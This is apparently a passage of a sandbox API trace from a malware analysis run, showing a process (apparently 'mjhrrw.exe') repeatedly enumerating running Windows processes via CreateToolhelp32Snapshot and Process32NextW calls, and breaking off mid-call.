th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0248.554] Process32NextW (in: hSnapshot=0x348, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0248.554] Process32NextW (in: hSnapshot=0x348, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0248.555] Process32NextW (in: hSnapshot=0x348, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0248.555] Process32NextW (in: hSnapshot=0x348, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0248.556] Process32NextW (in: hSnapshot=0x348, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0248.557] Process32NextW (in: hSnapshot=0x348, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0248.558] Process32NextW (in: hSnapshot=0x348, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.559] Process32NextW (in: hSnapshot=0x348, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.559] Process32NextW (in: hSnapshot=0x348, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0248.560] Process32NextW (in: hSnapshot=0x348, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.561] Process32NextW (in: hSnapshot=0x348, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.561] Process32NextW (in: hSnapshot=0x348, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.562] Process32NextW (in: hSnapshot=0x348, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.562] Process32NextW (in: hSnapshot=0x348, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.563] Process32NextW (in: hSnapshot=0x348, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.564] Process32NextW (in: hSnapshot=0x348, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.564] Process32NextW (in: hSnapshot=0x348, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.565] Process32NextW (in: hSnapshot=0x348, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.566] Process32NextW (in: hSnapshot=0x348, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.566] Process32NextW (in: hSnapshot=0x348, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0248.567] Process32NextW (in: hSnapshot=0x348, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.567] Process32NextW (in: hSnapshot=0x348, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0248.568] Process32NextW (in: hSnapshot=0x348, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0248.569] Process32NextW (in: hSnapshot=0x348, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0248.569] Process32NextW (in: hSnapshot=0x348, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0248.570] Process32NextW (in: hSnapshot=0x348, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0248.571] Process32NextW (in: hSnapshot=0x348, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.571] Process32NextW (in: hSnapshot=0x348, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0248.572] Process32NextW (in: hSnapshot=0x348, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x36, th32ParentProcessID=0xa10, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0248.572] Process32NextW (in: hSnapshot=0x348, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0248.573] Process32NextW (in: hSnapshot=0x348, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0248.574] Process32NextW (in: hSnapshot=0x348, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0248.574] Process32NextW (in: hSnapshot=0x348, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0248.575] Process32NextW (in: hSnapshot=0x348, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0248.575] Process32NextW (in: hSnapshot=0x348, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0xc88, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0248.576] Process32NextW (in: hSnapshot=0x348, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0248.577] Process32NextW (in: hSnapshot=0x348, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0248.578] Process32NextW (in: hSnapshot=0x348, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0248.578] Process32NextW (in: hSnapshot=0x348, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.579] Process32NextW (in: hSnapshot=0x348, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0248.580] CloseHandle (hObject=0x348) returned 1 [0248.580] Sleep (dwMilliseconds=0x1f4) [0249.193] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x398 [0249.198] Process32FirstW (in: hSnapshot=0x398, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0249.198] Process32NextW (in: hSnapshot=0x398, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0249.199] Process32NextW (in: hSnapshot=0x398, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0249.199] Process32NextW (in: hSnapshot=0x398, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0249.200] Process32NextW (in: hSnapshot=0x398, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0249.201] Process32NextW (in: hSnapshot=0x398, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0249.201] Process32NextW (in: hSnapshot=0x398, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0249.202] Process32NextW (in: hSnapshot=0x398, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0249.203] Process32NextW (in: hSnapshot=0x398, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0249.203] Process32NextW (in: hSnapshot=0x398, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0249.204] Process32NextW (in: hSnapshot=0x398, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0249.204] Process32NextW (in: hSnapshot=0x398, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.205] Process32NextW (in: hSnapshot=0x398, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.206] Process32NextW (in: hSnapshot=0x398, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0249.206] Process32NextW (in: hSnapshot=0x398, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.207] Process32NextW (in: hSnapshot=0x398, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.208] Process32NextW (in: hSnapshot=0x398, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.208] Process32NextW (in: hSnapshot=0x398, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.209] Process32NextW (in: hSnapshot=0x398, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.209] Process32NextW (in: hSnapshot=0x398, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.210] Process32NextW (in: hSnapshot=0x398, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.211] Process32NextW (in: hSnapshot=0x398, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.211] Process32NextW (in: hSnapshot=0x398, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.212] Process32NextW (in: hSnapshot=0x398, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.213] Process32NextW (in: hSnapshot=0x398, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0249.214] Process32NextW (in: hSnapshot=0x398, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.214] Process32NextW (in: hSnapshot=0x398, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0249.215] Process32NextW (in: hSnapshot=0x398, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0249.216] Process32NextW (in: hSnapshot=0x398, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0249.217] Process32NextW (in: hSnapshot=0x398, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0249.217] Process32NextW (in: hSnapshot=0x398, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0249.218] Process32NextW (in: hSnapshot=0x398, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.218] Process32NextW (in: hSnapshot=0x398, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0249.219] Process32NextW (in: hSnapshot=0x398, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x35, th32ParentProcessID=0xa10, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0249.219] Process32NextW (in: hSnapshot=0x398, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0249.220] Process32NextW (in: hSnapshot=0x398, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0249.221] Process32NextW (in: hSnapshot=0x398, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0249.222] Process32NextW (in: hSnapshot=0x398, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0249.222] Process32NextW (in: hSnapshot=0x398, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0249.223] Process32NextW (in: hSnapshot=0x398, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0xc88, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0249.223] Process32NextW (in: hSnapshot=0x398, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0249.224] Process32NextW (in: hSnapshot=0x398, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0249.225] Process32NextW (in: hSnapshot=0x398, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0249.225] Process32NextW (in: hSnapshot=0x398, 